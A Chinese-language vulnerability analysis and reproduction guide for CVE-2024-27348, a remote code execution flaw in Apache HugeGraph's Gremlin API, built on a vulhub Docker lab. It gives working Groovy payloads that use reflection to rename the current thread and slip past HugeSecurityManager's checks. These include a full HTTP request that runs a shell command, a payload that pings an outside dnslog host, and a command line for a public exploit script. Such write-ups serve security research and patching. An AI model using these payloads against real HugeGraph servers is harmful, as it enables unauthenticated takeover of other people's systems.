漏洞介绍

Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能、出色的性能和企业级的可靠性。

HugeGraph 的 Gremlin API 中存在一个远程代码执行漏洞。Gremlin 是一种图遍历语言,可以在 Groovy、Python 和 Java 等多种编程语言中实现。攻击者能够利用 Gremlin API 在未经身份验证的情况下执行基于 Groovy 的 Gremlin 命令,从而执行任意命令。

理论上,Apache HugeGraph 会使用 SecurityManager 来限制用户提交的 Groovy 脚本。但 SecurityManager 仅检查以“gremlin-server-exec”或“task-worker”开头的线程名称。攻击者通过使用反射修改当前线程名称,可以绕过这一机制,从而实现任意代码执行。

漏洞范围

Apache HugeGraph-Server 1.0.0 - 1.3.0

漏洞靶场

使用vulhub的靶场:

使用环境为Apache HugeGraph 1.2.0

vulhub-master/hugegraph/CVE-2024-27348/

启动靶场环境:

1
docker-compose up -d

环境启动后,可通过 http://your-ip:8080 访问 HugeGraph 的 RESTful API。

漏洞原理

测试发现调用以下接口来通过Gremlin实现各种复杂的图查询时存在ScriptEngine命令执行

1
curl -H "Content-Type: application/json" POST http://localhost:8080/gremlin -X POST -d @poc

poc文件内容

1
2
3
4
5
6
{
"gremlin": "scriptEnginePaylod",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}

因为最终会通过org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine#eval执行groovy代码

但是测试发现存在沙箱限制,发现启动时设置了securityManager(JAVA安全沙箱机制)

img

hugegraph-server\hugegraph-dist\src\main\java\org\apache\hugegraph\dist\HugeGraphServer.java#L47-L81

项目编写了HugeSecurityManager类来继承了SecurityManager类,在HugeSecurityManager中对通过gremlin执行的各个危险操作进行了限制。
例如: org.apache.hugegraph.security.HugeSecurityManager#checkExec

img

hugegraph-server\hugegraph-core\src\main\java\org\apache\hugegraph\security\HugeSecurityManager.java#L211-218

如何拦截?

可以调试命令执行,最终会走到java.lang.ProcessBuilder#start

img

C:\Program Files\Java\jdk1.8.0_261\src.zip!\java\lang\ProcessBuilder.java#L1004-L1054

这里判断了是否设置了安全沙箱,如果是就会调用安全沙箱的check方法。其他操作也是这样的方式拦截

如何绕过沙箱?

参考mi1k7ea师傅的文章:Site Unreachable
测试过程中发现在默认启动情况下,hugegraph没有对反射进行过滤

1
2
3
4
5
6
{
"gremlin": "Class clz = Class.forName(\"java.lang.ProcessImpl\");java.lang.reflect.Method method=clz.getDeclaredMethod(\"start\",String[].class,Map.class,String.class,ProcessBuilder.Redirect[].class, boolean.class);String[] cmd = new String[2];cmd[0]=\"touch\";cmd[1]=\"/tmp/20231219\";method.setAccessible(true);method.invoke(clz,cmd,null,null,null,false);",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}

那么只需要执行命令在checkexec之后即可,但是这样依旧会有一个问题,在执行一些命令的时候可能会调用到其他的拦截方法,导致执行失败,需要找到一个更好的绕过方法。
已知现在所有checkexec的调用都会调用callFromGremlin

img

hugegraph-server\hugegraph-core\src\main\java\org\apache\hugegraph\security\HugeSecurityManager.java#L141-L166

来看callFromGremlin

img

hugegraph-server\hugegraph-core\src\main\java\org\apache\hugegraph\security\HugeSecurityManager.java#L409-L411

org.apache.hugegraph.security.HugeSecurityManager#callFromWorkerWithClass

img

hugegraph-server\hugegraph-core\src\main\java\org\apache\hugegraph\security\HugeSecurityManager.java#L467-L480

GREMLIN_EXECUTOR_CLASS为ScriptEngine调用必经堆栈

img

hugegraph-server\hugegraph-core\src\main\java\org\apache\hugegraph\security\HugeSecurityManager.java#L44-L46

GREMLIN_SERVER_WORKER和TASK_WORKER是通过Gremlin会设置的新线程名

img

hugegraph-server\hugegraph-core\src\main\java\org\apache\hugegraph\security\HugeSecurityManager.java#L42-L43

显然他会判断是否是由Gremlin图查询调用的ScriptEngine执行,如果是就会进行checkXXX函数来检查,而我们现在可以反射修改任意类,那么第一时间想到的就是直接反射修改线程名,如下

1
2
3
4
5
6
{
"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread,\"evil\");Runtime.getRuntime().exec(\"ping test.t28yhq.dnslog.cn\");",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}

此时,callFromGremlin将会获取到不符合要求的线程名返回false,也就绕过了所有check,可以通过ScriptEngine执行任意代码

漏洞复现

通过 Gremlin API 接口发送恶意的 Gremlin 查询来执行任意命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /gremlin HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 777

{
"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"id\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());",
"bindings": {},
"language": "gremlin-groovy",
"aliases": {}
}

命令执行成功:

image-20250608194814869

poc

https://github.com/kljunowsky/CVE-2024-27348

1
python CVE-2024-27348.py -t http://target.tld:8080 -c "command to execute"

image-20250608195637593

复现成功

参考

https://github.com/vulhub/vulhub/blob/master/hugegraph/CVE-2024-27348/docker-compose.yml

Apache HugeGraph-Server(CVE-2024-27347|27348|27349)漏洞分析-先知社区 (aliyun.com)